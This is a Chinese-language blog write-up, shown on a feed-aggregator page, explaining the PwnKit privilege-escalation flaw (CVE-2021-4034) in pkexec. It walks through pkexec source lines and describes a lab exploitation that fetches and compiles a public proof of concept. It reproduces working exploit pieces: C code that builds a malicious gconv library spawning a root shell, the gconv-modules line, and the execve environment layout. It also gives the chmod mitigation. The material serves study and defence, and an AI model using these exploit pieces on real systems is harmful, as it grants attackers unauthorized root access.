惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

C
Check Point Blog
GbyAI
GbyAI
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
U
Unit 42
美团技术团队
NISL@THU
NISL@THU
C
Cisco Blogs
SecWiki News
SecWiki News
N
Netflix TechBlog - Medium
Forbes - Security
Forbes - Security
Cloudbric
Cloudbric
雷峰网
雷峰网
T
Tailwind CSS Blog
博客园 - 司徒正美
The Register - Security
The Register - Security
L
LangChain Blog
S
Security Affairs
Hacker News - Newest:
Hacker News - Newest: "LLM"
B
Blog
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
T
Threat Research - Cisco Blogs
I
InfoQ
S
Schneier on Security
L
Lohrmann on Cybersecurity
量子位
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
Martin Fowler
Martin Fowler
Schneier on Security
Schneier on Security
F
Fortinet All Blogs
TaoSecurity Blog
TaoSecurity Blog
K
Kaspersky official blog
Google DeepMind News
Google DeepMind News
Cisco Talos Blog
Cisco Talos Blog
PCI Perspectives
PCI Perspectives
Attack and Defense Labs
Attack and Defense Labs
WordPress大学
WordPress大学
Microsoft Azure Blog
Microsoft Azure Blog
H
Help Net Security
Project Zero
Project Zero
The GitHub Blog
The GitHub Blog
D
Docker
N
News | PayPal Newsroom
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
H
Hacker News: Front Page
云风的 BLOG
云风的 BLOG
Microsoft Security Blog
Microsoft Security Blog
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
博客园 - 聂微东
Webroot Blog
Webroot Blog
MongoDB | Blog
MongoDB | Blog

博客园_首页

Plist 二进制格式 Milvus 和 PGVector,哪个更好? OpenClaw 已过时?在 VS Code 中运行 Hermes Agent! 第30篇文章:一个大三计科生的自白 Manim如何在数学公式中完美显示中文? Docker 部署 RocketMQ 5 并发编程核心概念辨析 C#事务处理最佳实践:别再让“主表存了、明细丢了”的破事发生 CLI 是什么?为什么大厂突然集体卷命令行? 【从0到1构建一个ClaudeAgent】协作-自主Agent UIImageView 设置图片不生效的原因排查 最小二乘问题详解20:无先验约束下的增量式SFM自由网平差 痞子衡嵌入式:大话双核i.MXRT1180之XIP应用里借助MU实现可靠Flash IAP的方法 AI Chat 封装, SemanticKerne.AiProvider.Unified 已发布 Windows下右键编辑js文件无法打开记事本——在注册表中使用环境变量 在后台服务中使用 Scoped 服务,为什么总是报错? H200 安装驱动并使用sglang启动模型 wireshark 抓包Trap上报告警内容 我用 AI 辅助开发了一系列小工具(2):图片压缩工具 [A Primer On MC and CC] 2.1 Memory Consistency 1 - 指令重排序和 SC 模型 Oracle数据库SCN推进技术详解与实践指南 玩转控件:封装个带图片的Label控件 Claude Code 4.7 真正该升级的不是模型,而是你的工作流 前端小白一句话,AI 帮我做了个颜值拉满的桌面媒体播放器。当代码不再是门槛,一句话编程就是现实。 5. WorkBuddy: 小龙虾的灵魂三件套,让你的小龙虾不只是工具 SQLite 分片方案实战:三种分片策略的深度对比 告别简陋 UI!一款基于 Fluent Design 和基于 WinUI 的开源免费、现代化的 Avalonia UI 控件库 关于二进制排列组合枚举的总结 AI开发-python-LangGraph框架(3-27-LangGraph从零实现大模型智能决策工作流) ElasticSearch主分片和副本分片概念详解 【002】HTTPS 粗解:证书、TLS 握手与对后端配置的影响 Hermes Agent 一周暴涨五万 Star,但我劝你别急着追 明明连接的是Redis的DB0,为什么能查到DB3的数据? 【从0到1构建一个ClaudeAgent】协作-Agent团队 熟悉电子元器件之后,电子小白下一步该怎么走? MAF快速入门(23)通过C#类定义Skills .NET 高级开发 | 手写一个对象映射框架 FastAPI数据库ORM怎么选?我肝了三个Demo后,终于不再纠结了 mysqldump 参数拾遗:在遗忘与铭记之间 C# .NET 周刊|2026年3月5期 Claude code入门 - 陈彦斌 一文学习入门 ThingsBoard 开源物联网平台 GitHub 热门项目 | 2026年04月16日 如何为GIT设置全局勾子,为每次提交追加信息 Number.isFinite和isFinite与isNaN()和Number.isNaN的区别 PortSwigger SQL注入LAB2 推荐一个测试人必备的Skills,从功能到性能全搞定(附详细实操和安装下载方式) 筑基期:掌握Odoo基础核心知识点02(Odoo XML 开发方式详解) GLM模型这么火,咱们用vllm也咧一个呗! 深入理解 AbortController:从底层原理到跨语言设计哲学 字符串学习笔记 多租户系统框架的基础模块设计和分析设计 Apache SeaTunnel Zeta 为什么能做到“又快又稳”? AI开发-python-LangGraph框架(3-26-LangGraph基本概念及第一个简单样例) Vue 3 组件通信,别只会用 Props 和 Emits 了,这几个狠活儿你得看看 ElasticSearch7.X版本配置密码 用Manim实现动态交点计算--从一个动点问题说起 团结引擎+Addressable+Instant Game打包抖音小游戏 function call 实战:让 LLM 自动判断 pod 异常、调用日志工具并完成故障分析 bubseek —— 让 Agent 的足迹,变成团队的洞察 通过 C# 读取并导出 PDF 书签 如何用 GitHub Actions 实现 Steam 自动化发布 【从0到1构建一个ClaudeAgent】并发-后台任务 .NET 高级开发 | 定制 ASP.NET Core 框架 电子小白:什么是运算放大器(运放) zero2Agent:面向大厂面试的 Agent 工程教程,从概念到生产的完整学习路线 堆上的ORW HC32F460 USB CDC通信异常:非对齐访问异常排查 20260413-Hyperbridge 攻击事件:发生在默克尔山上的验证绕过 那些喊着AI 要淘汰你的人,正在靠你的焦虑赚大钱! 深度学习进阶(八)Swin Transformer 最小二乘问题详解19:带先验约束的增量式SFM优化与实现 SnapTranslate 3.0 正式发布:全局划词翻译 + 完整英语学习闭环,一站式搞定查词、记词、复习 工作的意义、工作的困难认知再思考 .NET + AI 进阶实战:基于类的技能开发 - 打造可治理的 Agent 能力模块 【从0到1构建一个ClaudeAgent】规划与协调-技能 上周热点回顾(4.6-4.12) 电子小白的工具三件套:面包板、杜邦线、万能板 单表五亿数据的查询优化 | Mysql、StarRocks 2. WorkBuddy:从“我是谁”到“帮我干活” C# 如何减少代码运行时间:7 个实战技巧 基于HelixToolkit.SharpDX 渲染3D模型 - 笺上知微 从零开始的双臂具身VLA起源及现阶段发展综述 - SkyXZ 记对 xonsh shell 的使用, 脚本编写, 迁移及调优 - pluvium27 受够了Vibe Coding的失控?换个起点,让AI事半功倍 从开始配置漏洞环境到漏洞复现流程 - 難しい 关于10年工作经验的程序员对OpenClaw的实战经验分享以及看法 - 虚无境 Any metadata 的内存布局 C# .NET 周刊|2026年3月2期 - InCerry 我帮你测过了,测试圈排名第二的 Skill 依然很牛逼 Skill Discovery | 无监督技能发现的经典工作总结 - MoonOut 上下文工程是什么?过时了么?一文讲明白! - 一枫说码 开了 TUN 模式还是直连?90% 的人都踩过这个坑 AScript扩展多种脚本语言 - rockey627 AI 学习笔记:Agent 的记忆机制 你能被装进一个文件里吗?——7 万人把同事"蒸馏"成了 AI - 我没有三颗心脏 Claude Code 通关手册(七):给 AI 装上技能包——Skills 完全指南 - 暮色之狐 在浏览器中快速编辑代码:VSCode Web 集成实践 - Newbe36524 蒸馏自己 skill?基于 Deepseek 的蒸馏器,丐版蒸馏方式,简单便捷 - To_Carpe_Diem Spring AI Aliababa和AgentScope,哪个更好? - 苏三说技术
CVE-2021-4034-pwnkit提权
Doll_Marker · 2026-06-19 · via 博客园_首页

漏洞核心原理一

CVE-2021-4034 (PwnKit) 的核心原理在于 pkexec 程序对命令行参数处理的一个越界读取(Out-of-bounds Read)漏洞,以及由此引发的环境变量写入。

参数处理越界

在 Linux 中,一个程序的 main 函数接收两个重要的参数:argc(参数数量)和 argv(指向参数字符串的指针数组)。按照规范:argv[0] 通常是程序自身的路径,argv[argc] 必须是一个 NULL 指针。

在调用 pkexec 时,如果攻击者强制传递一个完全为空的数组(即 argc = 0),那么 argv[0] 实际上就是 NULL。然而,pkexec 的代码逻辑假设 argc 至少为 1。它会尝试读取 argv[1] 来获取要执行的命令。由于 argv[1] 已经超出了 argv 数组的范围,根据内存布局,它会越界读取到紧随其后的 envp(环境变量指针数组)中的第一个元素。

将环境变量误认为路径

pkexec 越界读取了第一个环境变量后,它会将这个字符串视作一个程序路径。接着,pkexec 会利用环境变量中的 PATH 变量去寻找这个路径的绝对位置。如果寻找到匹配项,它会将寻找到的绝对路径写回 argv[1]

漏洞核心原理二

pkexec 是 Linux 桌面系统中一个至关重要的权限管理工具,属于 Polkit(原名 PolicyKit) 系统组件。可以把它理解为一个 “精细化的 sudo”。和 sudo 需要配置 /etc/sudoers 文件不同,pkexec 的授权规则由系统和服务预先定义好(如:允许普通用户执行 fdisk 来分区)。为了完成这个提权操作,pkexec 程序文件本身被设置了 SUID 位,这使得它运行时天然具有 root 权限。漏洞的根源在于 pkexec 源代码中,对一个基础前提的假设错误和边界检查缺失。

在C语言程序中,main 函数接收参数的标准形式是:int main(int argc, char argv[], char envp[])

argc:命令行参数的数量。

argv:参数数组。argv[0] 是程序名自身,argv[1] 是第一个真正的参数,依此类推。

envp:环境变量数组。它在内存中紧跟在 argv 数组之后。

pkexec 的代码默认了一个前提:argc 的值至少为 1(因为至少会有程序名 argv[0])。基于这个前提,它在不验证 argc 是否真的大于0的情况下,就直接去读取 argv[1],认为这是用户要它执行的那个“命令”。

漏洞就在这里:如果攻击者能够让 argc 等于 0,那么 argv 数组就是空的。当程序试图访问 argv[1] 时,实际上会发生 “内存越界读取” —— 它读取到的并不是一个有效的命令行参数,而是紧邻着 argv 数组之后的内存内容,也就是环境变量数组 envp 的第一个元素 envp[0]。

简单总结成因:pkexec 错误地将攻击者可控的环境变量,当成了要执行的命令参数

利用 GCONV_PATH 注入恶意库

(1)污染参数:攻击者精心设置一个名为 GCONV_PATH 的环境变量,值为一个恶意路径(如 /tmp/evil)。当 argc=0 时,这个字符串就被 pkexec 当作 argv[1] 来解析。

(2)逻辑触发:pkexec 在处理这个“参数”时,如果发现路径有问题,会调用 g_printerr() 函数打印错误信息。这个函数为了支持多语言(国际化),需要进行字符集转换。

(3)路径劫持:字符集转换的模块加载路径,恰恰由 GCONV_PATH 这个环境变量控制。而在之前的逻辑中,pkexec 已经将这个环境变量设置成了攻击者提供的恶意路径(因为它以为那是 argv[1] 的一部分)。

(3)恶意代码执行:当 g_printerr() 触发字符集转换时,它会去加载恶意路径下的“转换模块”。这个“模块”实际上是攻击者提前放置的一个恶意共享库(.so文件)。系统会执行这个库的初始化函数。

(4)完成提权:由于整个 pkexec 进程是以 root 权限(SUID) 运行的,它加载执行的恶意代码也自然继承了 root 权限。至此,攻击者便从普通用户身份,完整地获取了系统的最高控制权

注意事项:

【1】pkexec 程序文件本身被设置了 SUID 位,这使得它运行时天然具有 root 权限

临时修复:取消pkexec程序特权

chmod 0755 /usr/bin/pkexec
#chmod 4755 /usr/bin/pkexec可以赋予suid

【2】查看pkexec有无suid,有才能被利用

应该显示:-rwsr-xr-x(有s位)

【3】当看到 /usr/bin/pkexec/usr/lib/policykit-1/polkit-agent-helper-1 时,经验丰富的渗透测试员会立刻联想到 PwnKit

实战:

【1】已经获取到了靶机的webshell,要进行下一步的提权,先进入到/tmp目录下,载CVE-2021-4034 (Linux 系统上的 Polkit 权限提升漏洞)的PoC文件

wget https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.tar.gz

【2】解压poc脚本

【3】编译poc

cd /CVE-2021-4043-main/
make

【4】执行poc提权,再输入whoami,输出为root则成功

注:我这里打靶,最后一步老是报错如下,在github上面换了好几个脚本都不行,最后执行PwnKit.c(微信上面找的)就可以了

用法:(编译完成之后执行,这里注意需要cd到/tmp目录执行,否则加权限也不能执行)

【1】先上传PwnKit.c脚本到/tmp,执行编译

gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC

【2】此时本地会生成一个PwnKit的可执行文件

chmod +X PwnKit
./PwnKit "要执行的命令"
#注:这里只能通过  ./PwnKit "要执行的命令"  来提升到root,也就是要执行root命令就只能用上面的

pwnkit:pkexec 本地提权漏洞介绍(CVE-2021-4034) - Ditro讲的也很好

pkexec 是什么?

pkexec 本身是一个类似于 sudoSUID-root 程序(即以root身份运行),它的功能可以看 man 手册:

NAME
       pkexec - Execute a command as another user

SYNOPSIS
       pkexec [--version] [--disable-internal-agent] [--help]

       pkexec [--user username] PROGRAM [ARGUMENTS...]

DESCRIPTION
       pkexec allows an authorized user to execute PROGRAM as another
       user. If PROGRAM is not specified, the default shell will be run.
       If username is not specified, then the program will be executed
       as the administrative super user, root.

从摘要(synopsis)一栏中我们知道:

  • pkexec 有一个可选选项 --user ,用于指定执行程序的用户身份;
  • 一个必选的参数 PROGRAM 代表要执行的程序;
  • 以及随后的传递给 PROGRAM 的可选参数列表 ARGUMENTS...

漏洞成因

pkexec 对命令行参数的解析处理不当,是 pwnkit 漏洞的主要诱因。其 main() 函数如下:

 435 main (int argc, char *argv[])
 436 {
 ...
 534   for (n = 1; n < (guint) argc; n++)
 535     {
 ...
 568     }
 ...
 610   path = g_strdup (argv[n]);
 ...
 629   if (path[0] != '/')
 630     {
 ...
 632       s = g_find_program_in_path (path);
 ...
 639       argv[n] = path = s;
 640     }

这段代码先会遍历 argv 处理命令行参数(534-569行),由于在常见的情况下,argc 至少为 1,此时 argv[0] 是程序名自身,因此编码的时候从 n = 1 开始遍历。然后如果想要执行的程序不是一个绝对路径,那么它就会在 PATH 环境变量中搜索定位该程序(610-640行)。

不幸的是,完全可以在调用 execve 时, 以 NULL 作为 execveargv 参数。这样,被启动的程序的 argc 就为 0。进一步,被启动程序的 argv[0] 也就会是 NULL。那么:

  • 第534行,n 会因为不满足 n < argc 而被永远地设置为 1;
  • 第610行,argv[n] 自然就是 argv[1],这就是一个越界读;
  • 第639行,argv[1] 会被越界写成指针 s,其中 s 是找到的程序路径;

所以问题的关键就在于,越界读读到的 argv[1] 到底是什么?为了说清这个问题,这里需要做一些必要的介绍。当我们通过 execve() 去执行一个新程序时,内核首先将参数(argv)和环境变量(envp)列表拷贝到程序的栈上。正常的情况应该是像下面这样:

image-20260415214902179

需要注意的是,argvenvp 指针在内存中的布局是连续的。因此如果 argc 为 0,那么越界的 argv[1] 实际上是 envp[0]argv[1] 也就是指向了环境变量的第一个变量,这里的 value。造成的结果就是:

  • 第 610 行,用于决定要执行程序的路径的变量 path 实际上是读取的 argv[1] == envp[0] == "value"
  • 第 632 行,由于 path 并不是一个相对路径(629行判断),因此 path == "value" 就传递给 g_find_program_in_path() 函数;
  • g_find_program_in_path() 函数在 PATH 环境变量中搜索名为 value 的可执行文件;
  • 如果找到了,那么它的完整路径就返回给 pkexecmain() 函数;
  • 第 639 行,通过 argv[1] 也就是 envp[0] 的越界写,完整路径覆盖了首个环境变量。

如果说得再清楚一点,就是:

  • 如果环境变量 PATH=name,并且当前工作目录存在 name 目录以及名为 value 的可执行文件,那么 envp[0] 就会最终被越界写为 name/value
  • 进一步地,如果环境变量 PATH=name=.,并且当前工作目录存在 name=. 目录并包含了名为 value 的可执行文件,那么 envp[0] 最终被越界写为 name=./value

观察到什么了么?这个越界漏洞允许我们将像 LD_PRELOAD 这样的“不安全的”环境变量重新引入到 pkexec 的执行环境中。对于这类 SUID 程序来说,在执行 main() 函数之前,通常 ld.so 会移除这些“不安全的”环境变量。

关键就是要如何利用这个强有力的基本操作。

利用原理

整个漏洞利用过程还是有一些小插曲。尽管我们有一个越界写,可以修改 envp[0] 的值,但是 pkexec 会在随后的702行清除掉环境变量。

 639       argv[n] = path = s;
 ...
 657   for (n = 0; environment_variables_to_save[n] != NULL; n++)
 658     {
 659       const gchar *key = environment_variables_to_save[n];
 ...
 662       value = g_getenv (key);
 ...
 670       if (!validate_environment_variable (key, value))
 ...
 675     }
 ...
 702   if (clearenv () != 0)

研究者进一步发现 pkexec 会调用 GLib (GNOME 库,而非GNU C) 的 g_printerr() 函数。比如 validate_enviornment_variable() 以及 log_message() 都会调用 g_printerr()

  88 log_message (gint     level,
  89              gboolean print_to_stderr,
  90              const    gchar *format,
  91              ...)
  92 {
 ...
 125   if (print_to_stderr)
 126     g_printerr ("%s\n", s);
------------------------------------------------------------------------
 383 validate_environment_variable (const gchar *key,
 384                                const gchar *value)
 385 {
 ...
 406           log_message (LOG_CRIT, TRUE,
 407                        "The value for the SHELL variable was not found the /etc/shells file");
 408           g_printerr ("\n"
 409                       "This incident has been reported.\n");

g_printerr() 函数通常是用来打印 UTF-8 编码的错误信息,但如果环境变量 CHARSET 不是 UTF-8 的话,该函数也可以处理。当然,这个漏洞的过错并不在 CHARSET 环境变量上。为了将 UTF-8 转化为其它字符集,g_printerr() 会调用 glibc 的 iconv_open() 函数(对,这个是GNU C库的函数)。

iconv_open() 需要依赖一个小型共享库来完成字符集转换。通常来说,源字符集("from")、目标字符集("to")以及库名称(library name)三元组所决定的转换规则,是从一个默认的配置文件,也就是 /usr/lib/gconv/gconv-modules 中读取的。当然,可以也使用 GCONV_PATH 环境变量去强制 iconv_open() 函数读取指定的文件。考虑到 GCONV_PATH 这种可能会导致任意库文件执行的特性,它被视作“不安全的”环境变量。这样,在执行 SUID 的程序时,ld.so 会将其移除。

现在, 有了 pkexec 的越界写漏洞,我们能够重新引入这些不安全的环境变量。是时候大显身手了。

一、准备恶意gconv

第一步,准备编译恶意的 gconv 共享库。这个恶意程序本身也是一个 SUID 程序,在 setuid() 等调用之后,通过 execve() 为我们启动一个 shell:

void compile_so() {
    FILE *f = fopen("payload.c", "wb");
    if (f == NULL) {
        fatal("fopen");
    }

    char so_code[]=
        "#include <stdio.h>\n"
        "#include <stdlib.h>\n"
        "#include <unistd.h>\n"
        "void gconv() {\n"
        "  return;\n"
        "}\n"
        "void gconv_init() {\n"
        "  setuid(0); seteuid(0); setgid(0); setegid(0);\n"
        "  static char *a_argv[] = { \"sh\", NULL };\n"
        "  static char *a_envp[] = { \"PATH=/bin:/usr/bin:/sbin\", NULL };\n"
        "  execve(\"/bin/sh\", a_argv, a_envp);\n"
        "  exit(0);\n"
        "}\n";

    fwrite(so_code, strlen(so_code), 1, f);
    fclose(f);

    system("gcc -o payload.so -shared -fPIC payload.c");
}

二、准备绕过程序搜索

第二步要创建 GCONV_PATH=./lol 文件,这一步是为了让 pkexec() 632 行正常返回。

三、准备恶意 gconv-modules

第三步,准备恶意的 gconv-modules 配置文件(见上一章节关于 gconv-modules 三元组部分),引导程序在转换字符集时调用我们写好的 payload 程序:

module  UTF-8//    INTERNAL    ../payload    2

四、准备调用环境

第四步,准备调用 pkexec()argcenvp

    char *a_argv[]={ NULL };
    char *a_envp[]={
        "lol",
        "PATH=GCONV_PATH=.",
        "LC_MESSAGES=en_US.UTF-8",
        "XAUTHORITY=../LOL",
        NULL
    };

完事具备,只欠东风,利用 execve 调用 pkexec,提权获得 root shell:

    execve("/usr/bin/pkexec", a_argv, a_envp);

PoC 执行完毕后布局如下:

$ tree .
.
├── blasty-vs-pkexec.c
├── GCONV_PATH=.
   └── lol
├── lol
   └── gconv-modules
├── payload.c
├── payload.so
└── pkexec-poc